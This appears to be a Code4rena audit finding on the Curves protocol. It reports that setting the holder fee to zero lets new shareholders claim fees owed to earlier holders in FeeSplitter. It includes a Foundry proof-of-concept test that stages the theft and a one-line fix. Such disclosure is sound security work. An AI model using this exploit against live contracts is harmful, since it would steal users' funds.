c4-bot-7 commented 10 months ago

Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L246-L249

Vulnerability details

Description

In the Curves protocol, a holder fee is imposed on all buy and sell transactions. This fee is distributed among share holders via the FeeSplitter contract, incentivizing long-term holding over frequent trading. The _transferFees() function plays a crucial role in this process by transferring the holder fee to FeeSplitter.

    if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
        feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
        feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
    }

This code ensures that onBalanceChange() and addFees() are called only when holdersFeePercent is non-zero, deeming FeeSplitter unnecessary otherwise.

A critical vulnerability arises when the holderFeePercent, initially set to a positive value, is later changed to zero. In this case, previously collected holder fees remain in the FeeSplitter, awaiting distribution. The absence of onBalanceChange() calls in such scenarios allows new shareholders to unjustly claim these fees, leading to a potential theft of funds.

Impact

When the holder fee is reduced from a positive value to zero, new shareholders can exploit this to illicitly claim holder fees from FeeSplitter. This theft is not only limited to these new shareholders but can also be perpetuated across multiple addresses, progressively draining the FeeSplitter of its ETH reserves.

Proof of Concept

The PoC can be executed in a standard Foundry environment for the Curves project. The test is conducted using the command forge test --match-test testSetHolderFeeZero.

The test mimics an attack where a new shareholder exploits the system to claim holder fees that rightfully belong to previous shareholders.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;

import {Test, console2, console, stdError} from "forge-std/Test.sol";
import {Curves} from "src/Curves.sol";
import {CurvesERC20Factory} from "src/CurvesERC20Factory.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {CurvesERC20} from "src/CurvesERC20.sol";

contract CurvesTest is Test {
    CurvesERC20Factory public factory;
    Curves public curves;
    FeeSplitter public feeSplitter;

    function setUp() public {
        factory = new CurvesERC20Factory();
        feeSplitter = new FeeSplitter();
        curves = new Curves(address(factory), address(feeSplitter));

        feeSplitter.setCurves(curves);
        feeSplitter.setManager(address(curves), true);
    }

    function testSetHolderFeeZero() public {
        address subject = makeAddr("subject");
        address attacker = makeAddr("attacker");
        address victim = makeAddr("victim");

        // Subject mints first share to allow trading
        vm.prank(subject);
        curves.buyCurvesToken(subject, 1);

        // Holder fee is set at 5%
        vm.startPrank(address(curves));
        curves.setMaxFeePercent(0.05e18);
        curves.setExternalFeePercent(0, 0, 0.05e18);
        vm.stopPrank();

        // Victim buys some shares
        uint256 price = curves.getBuyPriceAfterFee(subject, 10);
        deal(victim, price);
        vm.prank(victim);
        curves.buyCurvesToken{value: price}(subject, 10);
        assertEq(curves.curvesTokenBalance(subject, victim), 10);

        // Holder fee is set at 0%
        vm.prank(address(curves));
        curves.setExternalFeePercent(0, 0, 0);

        // Attacker buys some shares
        price = curves.getBuyPriceAfterFee(subject, 10);
        deal(attacker, price);
        vm.prank(attacker);
        curves.buyCurvesToken{value: price}(subject, 10);
        assertEq(curves.curvesTokenBalance(subject, attacker), 10);

        uint256 balanceFeeSplitterBefore = address(feeSplitter).balance;
        uint256 balanceAttackerBefore = address(attacker).balance;
        uint256 victimFees = feeSplitter.getClaimableFees(subject, victim);

        // Now, attacker can claim victim's holder fees
        vm.prank(attacker);
        feeSplitter.claimFees(subject);

        uint256 balanceFeeSplitterAfter = address(feeSplitter).balance;
        uint256 balanceAttackerAfter = address(attacker).balance;

        // Attacker has claimed victim's holder fees
        assertEq(balanceFeeSplitterBefore - balanceFeeSplitterAfter, victimFees);
        assertEq(balanceAttackerAfter - balanceAttackerBefore, victimFees);

        // Now, victim cannot claim them
        vm.prank(victim);
        vm.expectRevert();
        // Call reverts with "EvmError: OutOfFund" because the contract has no funds to transfer
        feeSplitter.claimFees(subject);
    }
}

Tools Used

Manual Review.

Recommended Mitigation Steps

To prevent this exploitation, it is advised to always call onBalanceChange() in _transferFees(), regardless of the holdersFeePercent status. This ensures continuous and accurate tracking of shareholder balances and rightful fee distribution, even when the holder fee is set to zero.

+       feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);  

        if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
-           feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
            feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
        }